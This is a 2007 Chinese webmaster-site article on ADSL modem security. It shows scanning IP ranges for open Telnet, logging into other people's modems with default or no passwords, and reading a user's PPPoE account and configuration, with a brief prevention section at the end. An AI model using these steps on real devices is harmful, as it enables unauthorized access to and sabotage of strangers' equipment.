站长中国
设为首页 | 站长论坛

站长论坛 站长下载
您所在的位置: 站长中国 > 站长学院 > 安全技术 > 其他相关 >  正文

一些ADSLModem的安全问题
  2007年10月15日03:52:36  评论(0条) 字体:[ ]
相关热点:

现在用ADSL的人越来越多了,电信局也大力推荐一些带路由的ADSL MODEM,大家都知道,这些ADSL MODEM大多数用Telnet设置,例如南宁电信推荐大多数用户使用的ZyXEL PRESTIGE 642 ADSL Modem。 
但是很多用户的安全意识不高。 

密码 
一般ADSL Modem需要一个密码登陆设置界面,但这个默认密码经常被公开,而电信局也没有提示用户更改,这样的MODEM给用户留下了一个隐患 

破坏 
ADSL Modem的设置里经常有些敏感选项,如reset、disconnect、reboot等,一旦这些设置改动,你的Modem也许就“废”了 

实例 
用任意一个扫描器扫自己所处IP段的23端口,一会儿就会看到一些IP有回应了,现在Telnet上去: 

c:\windows\>telnet x.x.x.x 23 
Router Manager Console Version: 1.07 
Please enter your password: 
要密码?上google找一下相关资料,Login~~ 
Please enter your password: **** 
User Logged in. 

Router Setup> 

c:\windows\>telnet x.x.x.x 23 

            ******************* 
            Welcome to Titanium 
            ******************* 

GlobespanVirata Inc., Software Release VIK-1.37.020524i/T93.3.13. 
Copyright (c) 2001-2002 by GlobespanVirata, Inc. 

login:       
又要?再google…… 
上面两个都是要默认密码的,不好玩,看看下面的拍案惊奇: 
c:\windows\>telnet x.x.x.x 23 
      
      ISIN 6131R Copyright by ARESCOM 2001 
   
Login Success! 
大哥有没有搞错?我没输入Password啊~~~@_@ 
ISIN>help   
先看看帮助 

          ******* Console Help Menu ******* 
Available Command: 

add        add objects in talbe 
connect      start the connection 
delete      delete objects in table 
disconnect    disconnect modem connection 
help       display this menu again 
quit       quit the system 
reboot      reboot the router 
reset       reset the configuration, and reboot 
save       save the configuration 
set        set system parameters 
show       display system status 
test       system test 
upgrade      upgrade the firmware via FTP, TFTP and XMODEM 

ISIN>show sysinfo 

Vendor: Arescom 
Model: ISIN 6131R (Hardware) 
Version: 5.3.08B (Software version) 
UpTime: 0363:57 (hh:mm) 

ISIN> 

再看:  
c:\windows\>telnet x.x.x.x 23 

logged on; type `@exit' to close connection. 
>>help 
陌生人记得问路:P 
Command: 
adsl      - entry to ADSL menu 
default     - set all configuration to factory setting 
ipoa      - entry to IPoA menu 
lan       - entry to Ethernet menu 
list      - list status for enabled PVC 
manage     - entry to management menu 
mode      - exit this menu and change modem mode 
pat       - entry to PAT menu 
ping      - ping IP for testing purpose 
pppoa      - entry to PPPoA menu 
pppoe      - entry to PPPoE menu 
quick      - quick setup 
r1483      - entry to RFC1483 menu 
restart     - reboot modem 
rtable     - entry to Routing Table menu 
save      - save and restart modem 
show      - display configuration of PVC and Ethernet 
ver       - display software version 

Type 'help' or 'help ' for more details 
>> show 
看看他有什么秘密? 
Ethernet ip: 192.168.1.1 
Subnet mask: 255.255.255.0 
FullDuplex:Enable 

DHCP current setting : disable. 
DHCP ineffective setting : disable. 

PPPoE setting: 
Function VPI/VCI   CLASS UserID/Authentication 
PPPoE    0/35    ubr  bnn*******/CHAP <-------账号 
     LLC=Disable  Echo is disabled 

PPPoE IP : 218.21.*.* 

PAT enabled interface: 
Interface   IP address 
PPPoE     218.21.*.* 


PAT incoming table: 
No. i/f name|WanIP   Port/Protocal  Server IP 
1 pppoe        23/tcp     192.168.1.1 

effective routing table: 
route add ppp_route     0.0.0.0 218.21.*.* 00:00:00:00 1 # MAN via ppp_ 
device 

>> ver 

Version : 2.80ZE (2.80ZE-H01.2103-FM11.0507A10Z 24/Jul/2001 14:50)  


仅仅这样就掌握了整个MODEM的控制权!只要我修改他的配置,他的MODEM就麻烦了,等电信局的人上门维修吧! 

预防 
安装防火墙,禁止外部连接,更改ADSL Modem默认密码。 


责任编辑:

收藏本文 打印 打印本文  推荐本文 告诉好友 投稿 投稿邮箱
    评论加载中…

站长排行

学院

新闻

专栏

盈利

[揭密网络黄链]中国留学生买凶专破日本
JSP语法(6)
超强弹出窗口代码,什么都挡不住
FLASH视觉特效实例之地震效果
贴吧发帖机使用教程(绝对原创)
关于数据分页(转自www.codeproject.co
ASP实现文件直接下载
Photoshop制作光感超酷效果水晶球
 遍历ASP.NET页面控件
永远的后门[经典]+查不出的后门
淘宝网卖家公然叫卖“艳照门”照片集
驳《百度Hi面世对腾讯有利》
Google绿色专家质疑黑色背景网页节省资
国内各IT企业办公环境揭秘(多图)
阿里妈妈广告卖主全攻略
站长创业源动力 主流站长站赏析
推荐阅读:80年小子的创业道理
Discuz!6.0猛将出击 最强论坛程序酷炫
我的网络,我的团队:专访李文明
百度新闻频道改版十天 流量止跌反弹翻
ECSHOP模板制作参考文档
悬挂阿里妈妈会否被百度惩罚
阿里妈妈是否是中小站长的救世主?
最强网店ECShop发新版 众多酷炫功能给
ECSHOP模板下载
土豆网,优酷网,爆米花等视频网站采集
DedeCms模板安装/制作概述
网上商店系统巅峰对决 ECShop vs ShopE
艰难的走在创业的路上 第一天
编程中国全站采集规则
性福联盟 一个不尊重站长的联盟
大脚:日赚100元—揭露最新firefox欺骗
大脚:垃圾站超级赚钱法之二—突破“站
大脚:垃圾站超级赚钱法之——前言
迅雷联盟、快车联盟收入对比
经理人必看的十个管理网站
Google Adsense的秘密 第二版
西联汇款兑付城市查询
不用SEO取得成功的10个步骤
关于做GOOGLE的五条经验
站长学院  网页设计 建站教程 图形图象 网络编程

Photoshop CS3
Photoshop CS3
不用Photoshop
不用Photoshop

DIV+CSS的开发方式 听听另外的
虚拟主机建站动易里快速生成的
VBScript特效代码 满屏幕乱跑
牛气!一个菜鸟站长的超强网站
创建、维护一个个人博客的“投
让网站流量稳步飙升的秘籍
网站推广的基本思想

新闻线索

如果你有站长界人事变动、重组并购、变革技术出现,以及产品投诉等重要新闻线索,请告诉我们,我们会给予特别关注。
0631-3653338
站长中国编辑部
站长中国24小时新闻热线: 13256307008